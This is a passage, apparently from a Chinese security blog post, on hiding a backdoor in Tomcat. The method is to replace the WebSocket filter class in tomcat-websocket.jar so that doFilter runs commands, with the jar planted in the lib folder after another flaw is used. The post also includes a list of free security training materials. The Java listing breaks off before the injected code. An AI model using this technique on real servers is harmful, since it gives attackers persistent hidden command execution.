介绍
今天研究内存马相关的东西,偶然间发现一处解析BUG
一句话来说就是:Tomcat启动时会加载lib下的依赖jar,如果黑客通过上传漏洞或者反序列化漏洞在这个目录添加一个jar,重启后,某些情况下这个jar会被当成正常库来加载,在一定条件下造成RCE
不一定算得上是漏洞,不过我还是向Tomcat发了邮件尝试
Tomcat果然拒绝了,原因是需要在其他漏洞的基础上触发
这个漏洞其实在一些情况下会有巧妙的利用,本文就围绕这个利用点来谈
1.2000多本网络安全系列电子书
2.网络安全标准题库资料
3.项目源码
4.网络安全基础入门、Linux、web安全、攻防方面的视频
5.网络安全学习路线图
思路
思路来自于之前写的一篇文章:某知名Java框架内存马挖掘
从中得到一种思路:将恶意代码逻辑隐藏到目标框架必须的Filter中
换句话来说,是否能将恶意代码注入到Tomcat默认存在的Filter中呢
使用c0ny1师傅的检测工具发现,任何情况都会存在WsFilter
能否构造出一个恶意的WsFilter类注入到依赖库中
构造
在目标Tomcat/lib下找到tomcat-websocket.jar
找到WsFilter的代码,在doFilter中插入一些代码
我这里是简单的回显执行命令,也可以是一些其他逻辑
package org.apache.tomcat.websocket.server;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
/**
* Handles the initial HTTP connection for WebSocket connections.
*/
public class WsFilter implements Filter {
private WsServerContainer sc;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
}
@Override
public void